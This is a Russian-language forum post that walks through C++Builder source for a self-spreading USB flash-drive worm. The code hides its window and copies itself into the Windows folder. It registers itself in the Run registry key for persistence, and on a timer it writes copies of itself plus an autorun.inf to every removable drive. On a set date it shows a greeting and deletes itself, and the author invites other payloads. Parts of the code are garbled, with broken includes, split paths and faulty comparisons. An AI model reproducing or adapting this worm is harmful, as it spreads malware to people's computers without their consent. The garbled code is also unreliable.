USB Flash вирус С++

Тема в разделе "Софт и инструменты", создана пользователем CLAY, 7 мар 2017.

  1. CLAY

    CLAY Member

    Сообщения:
    419
    Симпатии:
    5
    Суть такая: Вирус распространяется с одного компа на другие через флеш носители. Затем закрепившись в системе уже начинает свою деятельность., в нашем примере неожиданно поздравляет с новым годом.



    Алгоритм состоит из 3-х основных задач:

    1. Освоение на новом месте. Копируемся в систему, прописываемся в автозагрузку, и скрываемся.

    2. Заражение новых флешек. Выполняем поиск подключённых к компу флешек, копируемся на них., атакже создаём autorun.inf для осуществления автозапуска. Затем делаем файл вируса скрытым, и меняем дату его создания. Таким образом флешка начинает без ведома владельца распространять наши копии.

    3. Этот модуль периодически проверяет системную дату, чтобы определить когда стоит вывести поздравление с новым годом. Атакже вывод этого поздравления, и функция самоуничтожения.

    4. Конечно можно воплотить здесь любые идеи в плане 25 кадра, захвата планеты, и прочее... но в данной статье это не рассматривается

    Код:
    [/COLOR]Реализация: #include vcl.h>

    #pragma hdrstop

    #includeiostream.h>

    #include registry.hpp>

    #includeDateUtils.hpp>



    #include "Unit1.h"

    //---------------------------------------------------------------------------

    #pragma package(smart_init)

    #pragma resource "*.dfm"

    TForm1 *Form1;

    //---------------------------------------------------------------------------

    __fastcall TForm1::TForm1(TComponent* Owner)

    : TForm(Owner)

    {

    }

    //---------------------------------------------------------------------------



    void __fastcall TForm1::FormCreate(TObject *Sender)

    {

    Application->ShowMainForm=false; //прячимся



    // Осваеваемся в новой системе

    if(ParamStr(0)!="C:\WINDOWS\WebKill_USB_Flash_V. exe") {

    //скопируемся

    CopyFile(ParamStr(0).c_str(),"C:\WINDOWS\WebKill _USB_Flash_V.exe",true);

    //и пропишимся в автозагрузку:

    TRegistry *reg=new TRegistry;

    reg->RootKey=HKEY_LOCAL_MACHINE;

    reg->OpenKey("Software\Microsoft\Windows\CurrentVer sion\Run", false);

    reg->WriteString("SystemX" , "C:\WINDOWS\WebKill_USB_Flash_V.exe");

    reg->CloseKey();

    reg->Free();

    }







    }



    //---------------------------------------------------------------------------



    void __fastcall TForm1::Timer1Timer(TObject *Sender)

    { // Будим заражать подключаемые к компу устройства



    try {

    FILE *F;

    DWORD Number, FileLength, VolFlags;

    char Drives[255],Buf[256];

    char SystemName[127];

    char *xxx;

    AnsiString S;

    int i ;

    PChar P ;



    RichEdit1->Clear();

    if (GetLogicalDriveStrings(256,Drives) > 256) exit; // получаем списко дисков без ошибок

    P = Drives;

    while (*P != 0) // цикл по дискам

    {

    i = GetDriveType(P);//определение типа



    if(i==DRIVE_REMOVABLE && AnsiString(P)!="A:\") { // только если сьёмный выполним:



    S=AnsiString(P)+"1v.exe";//подбор имени

    RichEdit1->Lines->Add(S);



    CopyFile(ParamStr(0).c_str(),S.c_str(),true); // копирование





    S=AnsiString(P)+"autorun.inf"; //подготовим авторан



    F = fopen(S.c_str(),"w+"); //открываем файл

    if(F)

    {

    fprintf(F, "[autorun]
    "); // создаём загрузочную запись

    fprintf(F, "open=1v.exe
    ");

    fprintf(F, "shell=Открыть
    ");



    fclose(F);

    }

    }

    /*

    else

    {

    ShowMessage(String("Cannot open file "") + S + """);

    }

    */



    P = P + 4; // шаг к следующему носителю



    }







    }

    catch ( ... )

    {

    //ShowMessage("error");

    }



    }

    //---------------------------------------------------------------------------

    void __fastcall TForm1::Timer2Timer(TObject *Sender)

    {

    if(DateToStr(Now())=="03.11.2009") {



    // Поздравляем юзера с Новым годом

    Application->ShowMainForm=true;

    Form1->Visible=true;



    Form1->Top=(Screen->Height/2)-(Form1->Height/2);

    Form1->Left=(Screen->Width/2)-(Form1->Width/2);





    int h;

    AnsiString mes;

    int wt,ht;

    int x,y;

    h = HourOf(Now());

    if (h=5) mes="Доброй ночи";

    else if (h12) mes="Доброе утро";

    else if (h=17) mes="Добрый день";

    else mes="Добрый вечер";



    Canvas->Brush->Style=bsClear;



    Canvas->Font->Size= 21;

    Canvas->Font->Color=clRed;



    char c[256];

    DWORD sizec =256;

    GetUserName(c, &sizec);





    Canvas->TextOutA(10,20,mes+" "+c+",");





    Canvas->Font->Size= 27;

    Canvas->TextOutA(100,230,"С Новым Годом!");



    Canvas->Font->Size=11;

    Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");







    //Всего раз

    Timer2->Enabled=false;

    // и уходим с компа

    TRegistry *reg=new TRegistry;

    reg->RootKey=HKEY_LOCAL_MACHINE;

    reg->OpenKey("Software\Microsoft\Windows\CurrentVer sion\Run", false);

    reg->DeleteValue("SystemX");

    reg->CloseKey();

    reg->Free();



    DeleteFile(ParamStr(0));





    }



    }

    //---------------------------------------------------------------------------





    void __fastcall TForm1::Image1MouseMove(TObject *Sender, TShiftState Shift,

    int X, int Y)

    {



    int h;

    AnsiString mes;

    int wt,ht;

    int x,y;

    h = HourOf(Now());

    if (h=5) mes="Доброй ночи";

    else if (h12) mes="Доброе утро";

    else if (h=17) mes="Добрый день";

    else mes="Добрый вечер";



    Canvas->Brush->Style=bsClear;



    Canvas->Font->Size= 21;

    Canvas->Font->Color=clRed;



    char c[256];

    DWORD sizec =256;

    GetUserName(c, &sizec);





    Canvas->TextOutA(10,20,mes+" "+c+",");





    Canvas->Font->Size= 27;

    Canvas->TextOutA(100,230,"С Новым Годом!");



    Canvas->Font->Size=11;

    Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");




    }

Поделиться этой страницей